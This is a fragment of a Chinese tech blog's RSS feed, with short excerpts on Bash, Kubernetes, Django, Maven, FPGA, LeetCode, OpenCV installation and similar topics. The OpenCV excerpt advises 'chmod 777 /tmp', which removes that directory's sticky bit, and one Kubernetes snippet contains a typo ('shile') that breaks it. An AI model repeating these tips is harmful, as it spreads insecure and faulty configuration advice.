      <description>一些常用的按位小技巧 按位与 a &amp;amp; -a：a的二进制原码表示中最低有效位。 如5(101) --&amp;gt; 1(001)，6(110) --&amp;gt; 2(010), 12(1100) --&amp;gt; 4(0100)&#xA;a &amp;amp; a-1: 相当于 a - (a&amp;amp;-a)，去掉最低有效位之后的值&#xA;a&amp;amp; 1-a: 最右一位不参与运算，除去最右位后的最低有效位。对于奇数a来说相当于(a-1)&amp;amp;(1-a)，对于偶数来说与a&amp;amp;-a相等。</description>
    </item>
    <item>
      <title>linux Shell学习（二）Bash的基本功能2</title>
      <link>https://bchobby.github.io/posts/703dab48ba05616163ca5f86757ab723/</link>
      <pubDate>Sat, 06 Mar 2021 17:58:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/703dab48ba05616163ca5f86757ab723/</guid>
      <description>文章目录 多命令顺序执行与管道符通配符与其它特殊符号 多命令顺序执行与管道符 1、多命令顺序执行&#xA;例子：&#xA;[root@localhost ~]# ls ; date ; cd /user ; pwd&#xA;用途：dd命令（用于磁盘复制）&#xA;[root@localhost ~]# dd if=输入文件of=输出文件bs=字节数count=个数&#xA;选项：&#xA;if=输入文件指定源文件或源设备&#xA;of=输出文件指定目标文件或目标设备&#xA;bs=字节数指定一次输入/输出多少字节，即把这些字节看做一个数据块&#xA;count=个数指定输入/输出多少个数据块&#xA;例子（dd与多命令结合）&#xA;[root@localhost ~]# date ; dd if=/dev/zero of=/root/testfile bs=1k count=100000 ; date&#xA;[root@localhost ~]# ls anaconda-ks.cfg &amp;amp;&amp;amp; echo yes&#xA;[root@localhost ~]# ls /root/test || echo &#34;no&#xA;[root@localhost ~]# 命令&amp;amp;&amp;amp; echo yes || echo no（正确执行命令打印yes，错误打印no）&#xA;2、管道符&#xA;命令格式：&#xA;[root@localhost ~]# 命令1 | 命令2 #命令1 的正确输出作为命令2 的操作对象</description>
    </item>
    <item>
      <title>svn自用过滤正则</title>
      <link>https://bchobby.github.io/posts/bbfb77f0d18752554f88d30a53fb529c/</link>
      <pubDate>Sat, 06 Mar 2021 13:55:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbfb77f0d18752554f88d30a53fb529c/</guid>
      <description> svn自用过滤正则 下面展示一些 内联代码片。&#xA;格式错乱问题 *.o *.lo *.la *.al .libs *.so *.so.[0-9]* *.a *.pyc *.pyo __pycache__ *.rej *~ #*# .#* .*.swp .DS_Store [Tt]humbs.db*bin* *classes* *.class .classpath .project *.jar *.prefs *.iml .idea *idea* *iml* *target* *test* *target target* </description>
    </item>
    <item>
      <title>Caused by: java.lang.StackOverflowError</title>
      <link>https://bchobby.github.io/posts/b9c062bf517b4540d0f900cd2dfb8be5/</link>
      <pubDate>Fri, 05 Mar 2021 16:17:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9c062bf517b4540d0f900cd2dfb8be5/</guid>
      <description>Springboot 生成war部署到外置Tomcat（tongweb）时：&#xA;Caused by: java.lang.StackOverflowError&#xA;at java.lang.ReflectiveOperationException.&amp;lt;init&amp;gt;(ReflectiveOperationException.java:89)&#xA;at java.lang.reflect.InvocationTargetException.&amp;lt;init&amp;gt;(InvocationTargetException.java:72)&#xA;at sun.reflect.GeneratedMethodAccessor67.invoke(Unknown Source)&#xA;at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xA;at java.lang.reflect.Method.invoke(Method.java:498)&#xA;at org.apache.logging.log4j.util.StackLocator.getCallerClass(StackLocator.java:108)&#xA;at org.apache.logging.log4j.util.StackLocator.getCallerClass(StackLocator.java:121)&#xA;at org.apache.logging.log4j.util.StackLocatorUtil.getCallerClass(StackLocatorUtil.java:55)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.getContext(Log4jLoggerFactory.java:42)&#xA;at org.apache.logging.log4j.spi.AbstractLoggerAdapter.getLogger(AbstractLoggerAdapter.java:46)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.getLogger(Log4jLoggerFactory.java:29)&#xA;at org.slf4j.LoggerFactory.getLogger(LoggerFactory.java:358)&#xA;at org.apache.logging.slf4j.SLF4JLoggerContext.getLogger(SLF4JLoggerContext.java:39)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.newLogger(Log4jLoggerFactory.java:37)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.newLogger(Log4jLoggerFactory.java:29)&#xA;at org.apache.logging.log4j.spi.AbstractLoggerAdapter.getLogger(AbstractLoggerAdapter.java:52)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.getLogger(Log4jLoggerFactory.java:29)&#xA;at org.slf4j.LoggerFactory.getLogger(LoggerFactory.java:358)&#xA;at org.apache.logging.slf4j.SLF4JLoggerContext.getLogger(SLF4JLoggerContext.java:39)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.newLogger(Log4jLoggerFactory.java:37)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.newLogger(Log4jLoggerFactory.java:29)&#xA;at org.apache.logging.log4j.spi.AbstractLoggerAdapter.getLogger(AbstractLoggerAdapter.java:52)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.getLogger(Log4jLoggerFactory.java:29)&#xA;at org.slf4j.LoggerFactory.getLogger(LoggerFactory.java:358)&#xA;at org.apache.logging.slf4j.SLF4JLoggerContext.getLogger(SLF4JLoggerContext.java:39)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.newLogger(Log4jLoggerFactory.java:37)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.newLogger(Log4jLoggerFactory.java:29)&#xA;at org.apache.logging.log4j.spi.AbstractLoggerAdapter.getLogger(AbstractLoggerAdapter.java:52)&#xA;at org.apache.logging.slf4j.Log4jLoggerFactory.getLogger(Log4jLoggerFactory.java:29)&#xA;at org.slf4j.LoggerFactory.getLogger(LoggerFactory.java:358)&#xA;at org.apache.logging.slf4j.SLF4JLoggerContext.getLogger(SLF4JLoggerContext.java:39)&#xA;at org.</description>
    </item>
    <item>
      <title>k8s启动容器报错:“Back-off restarting failed container“的解决办法</title>
      <link>https://bchobby.github.io/posts/5ba61fc6fc5b082f427590f395c31485/</link>
      <pubDate>Fri, 05 Mar 2021 15:57:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ba61fc6fc5b082f427590f395c31485/</guid>
      <description>前言 当k8s启动容器时，如果配置文件有误，会出现&#34;Back-off restarting failed container&#34;的报错信息&#xA;更正配置 形如1&#xA;... ... spec: containers: # 添加如下两行内容 imagePullPolicy: IfNotPresent&#x9;command: [ &#34;/bin/sh&#34;, &#34;-c&#34;, &#34;--&#34; ] args: [ &#34;shile true; do sleep 30; done;&#34; ]&#x9;... ... 形如2&#xA;... ... spec: containers: # 添加如下两行内容 imagePullPolicy: IfNotPresent&#x9;command: [ &#34;/bin/bash&#34;, &#34;-ce&#34;, &#34;tail -f /dev/null&#34; ] ... ... 形如3&#xA;... ... spec: containers: # 添加如下两行内容 imagePullPolicy: IfNotPresent&#x9;restartPolicy: Never command: - /bin/sh - &#34;-c&#34; - &#34;sleep 60m&#34;</description>
    </item>
    <item>
      <title>python 数组两两组合或者多个组合</title>
      <link>https://bchobby.github.io/posts/3adef145915eaa1164ccf6507208f746/</link>
      <pubDate>Fri, 05 Mar 2021 14:30:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3adef145915eaa1164ccf6507208f746/</guid>
      <description>import itertools&#xA;lis = [1,2,3,4,5]&#xA;print list(itertools.combinations(list(lis),2))</description>
    </item>
    <item>
      <title>AirtestProject</title>
      <link>https://bchobby.github.io/posts/2b235e2883c1c2602ce3737a360a1de7/</link>
      <pubDate>Fri, 05 Mar 2021 11:02:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b235e2883c1c2602ce3737a360a1de7/</guid>
      <description>AirtestProject AirtestPocoAirtestIDE AirtestProject是由网易游戏推出的一款自动化测试框架。&#xA;Airtest 一个跨平台的、基于图像识别的UI自动化测试框架，适用于游戏和App，支持平台有Windows、Android和iOS。&#xA;Airtest官方文档：https://airtest.readthedocs.io/zh_CN/latest/&#xA;安装命令：pip install -U airtest&#xA;连接安卓设备：connect_device(&#34;android:12344321&#34;)&#xA;常用的api:&#xA;touch&#xA;touch(Template(r&#34;tpl1614914523361.png&#34;, record_pos=(-0.206, 0.189), resolution=(1080, 1920)),times=1,duration=0.01) swipe&#xA;swipe(Template(r&#34;tpl1614914905026.png&#34;, record_pos=(-0.064, 0.675), resolution=(1080, 1920)), vector=[0.0272, -0.5581]) text&#xA;text(&#34;c测试text输入&#34;) keyevent&#xA;设备操作，只能应用在Android和Windows&#xA;keyevent(&#34;BACK&#34;) snapshot&#xA;snapshot(msg=&#34;请填写测试点.&#34;) wait&#xA;wait(Template(r&#34;tpl1614915394025.png&#34;, record_pos=(-0.403, 0.81), resolution=(1080, 1920))) 断言常用的方法：&#xA;assert_exists&#xA;assert_exists(Template(r&#34;tpl1614922752951.png&#34;, record_pos=(-0.392, 0.815), resolution=(1080, 1920)), &#34;请填写测试点&#34;) assert_not_exists&#xA;assert_not_exists(Template(r&#34;tpl1614922833487.png&#34;, record_pos=(-0.406, 0.801), resolution=(1080, 1920)), &#34;请填写测试点&#34;) assert_equal&#xA;assert_equal(&#34;1&#34;, &#34;1&#34;, &#34;1等于1.&#34;) assert_not_equal&#xA;assert_not_equal(&#34;1&#34;, &#34;2&#34;, &#34;1不等于2.&#34;) Poco 一款基于UI控件识别的自动化测试框架，目前支持Unity3D/cocos2dx-*/Android原生app/iOS原生app/微信小程序，也可以在其他引擎中自行接入poco-sdk来使用。&#xA;Poco官方文档：https://poco.readthedocs.io/zh_CN/latest/&#xA;AirtestIDE 跨平台的UI自动化测试编辑器，内置了Airtest和Poco的相关插件功能，能够使用它快速简单地编写Airtest和Poco代码。</description>
    </item>
    <item>
      <title>解决webview嵌套网页，上传图片和文件点击无反应问题</title>
      <link>https://bchobby.github.io/posts/221fc129537d39b6e38f06b41921e7c5/</link>
      <pubDate>Thu, 04 Mar 2021 21:27:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/221fc129537d39b6e38f06b41921e7c5/</guid>
      <description>package com.jsxf.jscqmlbmb.View; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.support.annotation.Nullable; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.webkit.ValueCallback; import android.webkit.WebChromeClient; import android.webkit.WebView; import android.webkit.WebViewClient; import com.jsxf.jscqmlbmb.Controller.view.BaseFragment; import com.jsxf.jscqmlbmb.Model.Final.OnlyID; import com.jsxf.jscqmlbmb.R; import static android.app.Activity.RESULT_CANCELED; import static android.app.Activity.RESULT_OK; /** * Created by Administrator on 2016/11/30 0030. * Web页面 */ public class WebFragment extends BaseFragment { private WebView webView; private View view; private ValueCallback&amp;lt;Uri&amp;gt; uploadFile; private ValueCallback&amp;lt;Uri[]&amp;gt; uploadFiles; @Nullable public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { if (null !</description>
    </item>
    <item>
      <title>Django 快速入门</title>
      <link>https://bchobby.github.io/posts/d4b8c80bdfb3ebe45fcda23302946de4/</link>
      <pubDate>Thu, 04 Mar 2021 19:56:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4b8c80bdfb3ebe45fcda23302946de4/</guid>
      <description>文章目录 一、Django框架简介二、后台管理1.项目创建与运行1）创建项目2）目录说明:3）Terminal命令窗口执行：4）网页访问给定网址，如下图，说明Django创建成功 2.启用后台Admin 站点管理1）数据库迁移2）创建管理员用户3）本地化配置4）自定义模型加入后台管理 3.应用的创建和使用1) 创建第一个应用程序2) 编写第一个视图函数3) 路由规则 4.数据库模型1)创建数据库模型2)生成数据库表3)数据库模型基本操作4)创建关联对象5）自定义管理页面 三、前台管理1.URLconf 路由管理2. 视图函数处理业务逻辑3.模板管理实现好看的HTML页面1)标题样式2）列表3）图片4)链接5）表格6）表单 四、Django实现的生命周期 一、Django框架简介 Django 是一个高级的Python Web框架，它鼓励快速开发和清洁，务实的设计。由经验丰富的开发人员构建，它负责Web开发的许多麻烦，因此您可以专注于编写应用程序，而无需重新创建轮子。它是免费的和开源的。被官方称之为完美主义者的Web框架。&#xA;Django 官方文档：https://docs.djangoproject.com/zh-hans/3.1/&#xA;二、后台管理 1.项目创建与运行 1）创建项目 2）目录说明: manage.py ：一个命令行工具，可以使你用多种方式对 Django 项目进行交互内层的目录：项目的真正的Python包 init.py ：一个空文件，它告诉Python这个目录应该被看做一个Python包settings.py ：项目的配置urls.py ：项目的URL声明wsgi.py ：项目与 WSGI 兼容的Web服务器入口 3）Terminal命令窗口执行： python manage.py runserver 4）网页访问给定网址，如下图，说明Django创建成功 2.启用后台Admin 站点管理 站点分为“内容发布(后台管理)”和“公共访问(前台管理)”两部分， “内容发布”的部分负责添加、修改、删除内容，开发这些重复的功能是一件单调乏味、缺乏创造力的工作。因此， Django 会根据定义的模型类完全自动地生成管理模块。Django 框架中有一个非常强大的应用功能: 自动管理界面。 常被Web平台管理者使用，去管理整个&#xA;Web平台。 1）数据库迁移 #Terminal命令框中执行： python manage.py makemigrations #生成迁移文件 python manage.py migrate #将数据库表写入数据库中 创建完成后，如看不到DB下的文件，需要如下操作：&#xA;2）创建管理员用户 #Terminal命令框中执行： python manage.py createsuperuser 创建完超级用户后，网页访问127.0.0.1:8000/admin，输入上面创建的用户名、密码&#xA;进入管理站点，默认可以对 groups、users 进行管理</description>
    </item>
    <item>
      <title>Spire.xls将图片放入Excel单元格</title>
      <link>https://bchobby.github.io/posts/d64e87a803140190e9299ebb1f389a01/</link>
      <pubDate>Thu, 04 Mar 2021 16:26:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d64e87a803140190e9299ebb1f389a01/</guid>
      <description> //创建Workbook对象&#xA;Workbook workbook = new Workbook(); //获取第一张工作表 Worksheet sheet = workbook.Worksheets[0]; //指定列宽、行高 sheet.Columns[0].ColumnWidth = 50; sheet.Rows[0].RowHeight = 160; //加载图片，添加到指定单元格 ExcelPicture picture = sheet.Pictures.Add(1,1, &#34;tp.png&#34;); //指定图片宽度和高度 picture.Width = 300; picture.Height = 180; //通过LeftColumnOffset和TopRowOffset属性值设置图片在单元格中的横向、纵向对齐 picture.LeftColumnOffset = 75; picture.TopRowOffset = 20; //保存文档 workbook.SaveToFile(&#34;result.xlsx&#34;, FileFormat.Version2013); System.Diagnostics.Process.Start(&#34;result.xlsx&#34;); </description>
    </item>
    <item>
      <title>Could not transfer metadata maven-metadata.xml</title>
      <link>https://bchobby.github.io/posts/4f42bc29b009b4bc84b2d687de75b039/</link>
      <pubDate>Thu, 04 Mar 2021 14:48:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f42bc29b009b4bc84b2d687de75b039/</guid>
      <description>工作中同事使用maven时遇到了下面的问题报错：&#xA;Failure to transfer com.iii:iii-adex:1.0-SNAPSHOT/maven-metadata.xml&#34;&amp;gt;com.iii:iii-adex:1.0-SNAPSHOT/maven-metadata.xml from http://XXX.XXX.XX.com/artifactory/life&#34;&amp;gt;http://XXX.XXX.XX.com/artifactory/life was cached in the local repository, resolution will not be reattempted until the update interval of * has elapsed or updates are forced. Original error: Could not transfer metadata com.iii:iii-adex:1.0-SNAPSHOT/maven-metadata.xml from/to * (http://XXX.XXX.XX.com/artifactory/life): D:\code\repository\com\iii\iii-a dex\1.0-SNAPSHOT\maven-metadata-*.xml.part.lock (文件名、目录名或卷标语法不正确。) Downloading from *: http://XXX.XXX.XX.com/artifactory/life/com/iii/iii-adex/1.0-SNAPSHOT/iii-adex-1.0-SNAPSHOT.pom [WARNING] The POM for com.iii:iii-adex:jar:1.0-SNAPSHOT is missing, no dependency information available 最终发现是因为他的maven配置文件settings.xml 中的mirror 的id写成了*。导致maven把maven-metadata.xml 重命名为maven-metadata-*.xml。但是*在windows中不能作为文件名&#xA;所以出现如上错误。&#xA;他的settings.xml的mirror类似如下：&#xA;&amp;lt;/mirrors&amp;gt; &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;*&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;阿里云公共仓库&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://maven.</description>
    </item>
    <item>
      <title>零基础学FPGA（三）：国产芯片短板—FPGA（为什么选择FPGA）</title>
      <link>https://bchobby.github.io/posts/bdb03cce774d3f331485cf29fb4d74ff/</link>
      <pubDate>Thu, 04 Mar 2021 11:26:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdb03cce774d3f331485cf29fb4d74ff/</guid>
      <description>文章目录 前言一、FPGA简介二、FPGA的用途三、FPGA比较1、FPGA与单片机比较2、FPGA与CPU比较 四、为什么选择FPGA总结 前言 在正点原子的技术文档里面看到一个小故事，很有意思。刚开始接触FPGA的时候，这个故事让我眼前一亮，对FPGA有一种莫名的神秘感与期待感。&#xA;话说一个资深工程师出国的时候带了一块 FPGA 开发板。 海关问道：“这是什么东西？” 工程师说：“FPGA 开发板”。 海关又问：“FPGA 是什么？”。 工程师回答说：“你想让它是什么，它就是什么（It can be whatever you want）” 一、FPGA简介 FPGA(Field-Programmable Gate Array)，即现场可编程门阵列，由Xilinx创造于1984年，它是在PAL、GAL、CPLD等可编程器件的基础上进一步发展的产物，FPGA本质上是一种芯片，它并不是一种软件，也不是一个工具，和CPU、GPU相比，它们在本质上并没有什么区别，都是芯片的一种。&#xA;FPGA有三个重要特点：现场、可编程、门阵列。&#xA;首先FPGA有大量的逻辑门阵列组成，逻辑门是数字电路最基本组成单元，它基于布尔代数，对二进制数0和1进行操作，并完成不同的逻辑运算，比如与或非等等。举个例子，任何数和0相与都为0，和1相或都为1，非就是把0变1，把1变0，而FPGA可以使用逻辑门组成各种不同的逻辑功能。有些可能不太明白这个逻辑门阵列有什么好处，换句话说，拥有可配置的逻辑块，就意味着不再受到硬件的制约。您不会再遇到定时器或 UART 不够用的情况，只要您拥有逻辑单元便可创建更多定时器或 UART。&#xA;其次，FPGA的另外一个特点就是可编程性 ，这里的可编程与我们平时所说的软件编程有着本质区别，对于CPU或者单片机的编程，一般是通过改变寄存器的配置来实现，但不会改变芯片的逻辑功能。打个比方，你不能通过编程把一个网络交换芯片变成一个视频处理芯片，相比之下，FPGA的编程为硬件可编程，它让FPGA可以对逻辑门阵列可以重复编程，从而使FPGA可以在逻辑层面上任意改变自己实现的硬件结构，这使得FPGA有很高的灵活性。&#xA;现场可编程性：主要指FPGA可以在现场完成编程，而不需要把芯片拆下来，然后送回厂家来完成编程操作（相当于一块橡皮擦，可以自己捏成任意形状）&#xA;二、FPGA的用途 FGPA能做什么呢？&#xA;可以毫不夸张地讲，FGPA能完成任何数字器件的功能，上至高性能CPU，下至简单的74电路，都可以用FGPA来实现。你可以把FGPA比喻成一堆乐高，通过拼装，可以做成任何一种模型——工程师可以通过传统的原理图输入或硬件描述语言(如Verilog HDL、VHDL)自由地设计一个数字系统。 目前的FPGA主要还是在通信和网络领域用的比较广泛，用来对大量的网络数据包进行处理，比如大规模应用于华为5G基站。一部分应用于医疗器械，金融领域，军用设备，航空航天。&#xA;FPGA的应用大可分为以下几种：&#xA;数据采集领域：自然界的大部分信号是模拟信号，在高速采集时，信息无法直接传入MCU或者DSP。此时，需要FPGA进行一定的转换和速率匹配。这里提一点，DSP是CPU的一种，做数字信号的处理，擅长做乘法和加法运算。&#xA;逻辑接口领域：CPU在于外界通信时，需要各种专门的接口，而接口电路所引入的接口电路很庞大。加入FPGA，就可以CPU与FPGA做单独通信，由FPGA实现其他各种接口的扩展。&#xA;电平接口领域：不同的器件支持的电平不尽相同，如果需要连接各种接口时，就需要各种接口标准或者转换电路。对于FPGA来说，FPGA分为不同的BANK，可以直接支持不同的电平标准。&#xA;数字信号处理领域：通信、图像等领域近些年对计算量提出了更高的要求，FPGA支持并行计算，可以大大缩短计算的时间。&#xA;IC设计领域：IC在设计时，首先会使用FPGA设计出基础的电路模型进行各种理论验证，等验证通过后，才会进行IC制造等等。&#xA;三、FPGA比较 1、FPGA与单片机比较 FPGA和单片机，首先它们在硬件架构上不同，单片机无论是MCU还是MPU都是基于控制器和算术逻辑单元进行工作的，而FPGA是基于查找表的硬件电路进行工作的，这一点正同于单片机用的是软件设计语言而FPGA用的是硬件描述语言一样；其次，FPGA在芯片容量、组合逻辑、工作速度、设计灵活上远优于单片机；最后，在代码的设计思想上也不一样，单片机使用的是串行的设计思想，而FPGA则使用的是并行的设计思想。&#xA;2、FPGA与CPU比较 CPU与FPGA的根本区别在于软件与硬件的差异。CPU为 冯诺依曼结构，串行地执行一系列指令；而FPGA可以实现 并行操作 ，就象在一个芯片中嵌入多个CPU，其性能会是单个CPU的十倍、百倍。一般来说，CPU可以实现的功能，都可以用硬件设计的方法由FPGA来实现。当然，极其复杂的算法用硬件实现会比较困难，资源消耗也很大，如果没有高性能要求，那用硬件实现就有点得不偿失了。对于一个复杂系统而言，进行合理的软、硬件划分，由CPU（或DSP）和硬件电路（如FPGA）合作完成系统功能是非常必要的，也是高效的。（http://blog.csdn.net/chzms/article/details/2548272）&#xA;四、为什么选择FPGA 打破顺序执行模式，大规模并行运算，低延时，验证想法简便，缩短产品上市时间。（由于时间问题，这个小节后面有时间总结好再更新到文章）&#xA;总结 FPGA应用于很多关键领域，但是目前我国FPGA市场的份额的90%以上都被美国公司所占据，特别是中高端的FPGA芯片，国内还没办法做到生产代替，光刻机技术、EDA软件仍然很落后，很多人并没有意识到这点，我们的芯片半导体产业仍然有很长的路要走。</description>
    </item>
    <item>
      <title>LeetCode 14. 最长公共前缀</title>
      <link>https://bchobby.github.io/posts/ccc2d18bb03fbefc6005eaa9aef72487/</link>
      <pubDate>Thu, 04 Mar 2021 10:32:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccc2d18bb03fbefc6005eaa9aef72487/</guid>
      <description>最长公共前缀&#xA;编写一个函数来查找字符串数组中的最长公共前缀。 如果不存在公共前缀，返回空字符串 “”。&#xA;示例 1：&#xA;输入：strs = [“flower”,“flow”,“flight”]&#xA;输出：“fl”&#xA;示例 2：&#xA;输入：strs = [“dog”,“racecar”,“car”]&#xA;输出：&#34;&#34;&#xA;解释：输入不存在公共前缀。&#xA;提示：&#xA;0 &amp;lt;= strs.length &amp;lt;= 200&#xA;0 &amp;lt;= strs[i].length &amp;lt;= 200&#xA;strs[i] 仅由小写英文字母组成&#xA;class Solution {&#xA;public String longestCommonPrefix(String[] strs) {&#xA;String subStr = &#34;&#34;; if(strs.length &amp;gt; 0 &amp;amp;&amp;amp; strs[0].length() &amp;gt; 0){ if(strs.length == 1){ return strs[0]; } int maxPreLen = 1; for(maxPreLen=1;maxPreLen&amp;lt;=strs[0].length();maxPreLen++){ subStr = strs[0].substring(0,maxPreLen); for(int i=1;i&amp;lt;strs.length;i++){ if(!strs[i].startsWith(subStr)){ subStr = strs[0].substring(0,maxPreLen-1); return subStr; } } } return strs[0]; }else{ return &#34;</description>
    </item>
    <item>
      <title>Leetcode两数相加</title>
      <link>https://bchobby.github.io/posts/a661b60c13a48be8207960dc5814c75b/</link>
      <pubDate>Wed, 03 Mar 2021 19:36:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a661b60c13a48be8207960dc5814c75b/</guid>
      <description>两数相加&#xA;给你两个 非空 的链表，表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的，并且每个节点只能存储 一位 数字。 请你将两个数相加，并以相同形式返回一个表示和的链表。&#xA;你可以假设除了数字 0 之外，这两个数都不会以 0 开头。&#xA;示例 1：&#xA;输入：l1 = [2,4,3], l2 = [5,6,4]&#xA;输出：[7,0,8]&#xA;解释：342 + 465 = 807.&#xA;示例 2：&#xA;输入：l1 = [0], l2 = [0]&#xA;输出：[0]&#xA;示例 3：&#xA;输入：l1 = [9,9,9,9,9,9,9], l2 = [9,9,9,9]&#xA;输出：[8,9,9,9,0,0,0,1]&#xA;提示：&#xA;每个链表中的节点数在范围 [1, 100] 内&#xA;0 &amp;lt;= Node.val &amp;lt;= 9&#xA;题目数据保证列表表示的数字不含前导零&#xA;/**&#xA;Definition for singly-linked list.&#xA;public class ListNode {&#xA;int val; ListNode next; ListNode() {} ListNode(int val) { this.</description>
    </item>
    <item>
      <title>iview 下拉框清空但下拉列表选中</title>
      <link>https://bchobby.github.io/posts/bcbbfbbef6c559d46d15e95c46b8d4ac/</link>
      <pubDate>Wed, 03 Mar 2021 15:30:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcbbfbbef6c559d46d15e95c46b8d4ac/</guid>
      <description> &amp;lt;Select v-model=&#34;vehicleTypeId&#34; ref=&#34;vehicleType&#34; filterable clearable &amp;gt; &amp;lt;Option v-for=&#34;item in vehicleTypeList&#34; :value=&#34;item.id&#34; :key=&#34;item.id&#34; &amp;gt;{{ item.name }}&amp;lt;/Option &amp;gt; &amp;lt;/Select&amp;gt; this.$refs.vehicleType.clearSingleSelect(); </description>
    </item>
    <item>
      <title>C语言学习：用C语言实现简单的计算器</title>
      <link>https://bchobby.github.io/posts/f5da12936158f4a15caccad5994c586d/</link>
      <pubDate>Wed, 03 Mar 2021 13:55:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5da12936158f4a15caccad5994c586d/</guid>
      <description>用C语言编写一个简单的可以进行加减乘除运算混合运算的计算器的方法：&#xA;# include &amp;lt;stdio.h&amp;gt; int main() { char operator; double firstNumber,secondNumber; printf(&#34;输入操作符 (+, -, *,/): &#34;); scanf(&#34;%c&#34;, &amp;amp;operator); printf(&#34;输入两个数字: &#34;); scanf(&#34;%lf %lf&#34;,&amp;amp;firstNumber, &amp;amp;secondNumber); switch(operator) { case &#39;+&#39;: printf(&#34;%.1lf + %.1lf = %.1lf&#34;,firstNumber, secondNumber, firstNumber + secondNumber); break; case &#39;-&#39;: printf(&#34;%.1lf - %.1lf = %.1lf&#34;,firstNumber, secondNumber, firstNumber - secondNumber); break; case &#39;*&#39;: printf(&#34;%.1lf * %.1lf = %.1lf&#34;,firstNumber, secondNumber, firstNumber * secondNumber); break; case &#39;/&#39;: printf(&#34;%.1lf / %.1lf = %.1lf&#34;,firstNumber, secondNumber, firstNumber / secondNumber); break; // operator doesn&#39;t match any case constant (+, -, *, /) default: printf(&#34;</description>
    </item>
    <item>
      <title>linux安装cv2踩坑</title>
      <link>https://bchobby.github.io/posts/3b11c97fb2fbdf26698c288ce9bca69d/</link>
      <pubDate>Wed, 03 Mar 2021 10:22:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b11c97fb2fbdf26698c288ce9bca69d/</guid>
      <description>pip安装命令：&#xA;pip install opencv-python&#xA;pip install opencv-contrib-python&#xA;若报错可以使用清华源安装cv2：pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple opencv-python&#xA;还下不下来那就都这个网站下：https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple/opencv-python/&#xA;还不不行试试wget，把上面那个网址复制下来 wget + 链接 老子被下载折腾半天，哭死&#xA;import cv2的错误记录：&#xA;1、cv2 ImportError: libGL.so.1: cannot open shared object file: No such file or directory&#xA;缺少相关依赖项，需要更新安装，执行命令：&#xA;sudo apt-get update&#xA;sudo apt-get install -y libgl1-mesa-dev&#xA;2、若执行sudo apt-get update报如下错：&#xA;Get:1 http://mirrors.aliyun.com/ubuntu bionic InRelease [242 kB]&#xA;Err:1 http://mirrors.aliyun.com/ubuntu bionic InRelease&#xA;Couldn&#39;t create temporary file /tmp/apt.conf.g1YDx9 for passing config to apt-key&#xA;打开/tmp目录的权限即可：chmod 777 /tmp</description>
    </item>
    <item>
      <title>HuggingFace Datasets来写一个数据加载脚本</title>
      <link>https://bchobby.github.io/posts/b617edc2838f942b7f64dacdc5e3a3e5/</link>
      <pubDate>Tue, 02 Mar 2021 21:24:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b617edc2838f942b7f64dacdc5e3a3e5/</guid>
      <description>HuggingFace Datasets上传本地文件作为训练数据 这两天用自己的数据来做训练，看到datasets库中的教程，进行翻译，记下如何使用本地/私有数据集。&#xA;文章目录 HuggingFace Datasets上传本地文件作为训练数据前言编写数据集加载脚本（Writing a dataset loading script）添加数据集元数据（Adding dataset metadata）下载数据文件并组织拆分(Downloading data files and organizing splits)在每个分割中生成样本（Generating the samples in each split）指定几个数据集配置(Specifying several dataset configurations)指定默认数据集配置(Specifying a default dataset configuration)测试数据集加载脚本(Testing the dataset loading script)数据集参考脚本(Dataset scripts of reference) 示例结果演示 前言 在前面Bert的微调中，加载数据的方式是&#xA;from datasets import load_dataset, load_metric datasets = load_dataset(&#34;squad_v2&#34; if squad_v2 else &#34;squad&#34;) 获得打印的结构是：&#xA;DatasetDict({ train: Dataset({ features: [&#39;id&#39;, &#39;title&#39;, &#39;context&#39;, &#39;question&#39;, &#39;answers&#39;], num_rows: 87599 }) validation: Dataset({ features: [&#39;id&#39;, &#39;title&#39;, &#39;context&#39;, &#39;question&#39;, &#39;answers&#39;], num_rows: 10570 }) }) 打印出来一个示例就是：</description>
    </item>
    <item>
      <title>js校验远端图片是否存在</title>
      <link>https://bchobby.github.io/posts/82c9dacde14be2c4df46b01ee1d6443c/</link>
      <pubDate>Tue, 02 Mar 2021 15:15:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82c9dacde14be2c4df46b01ee1d6443c/</guid>
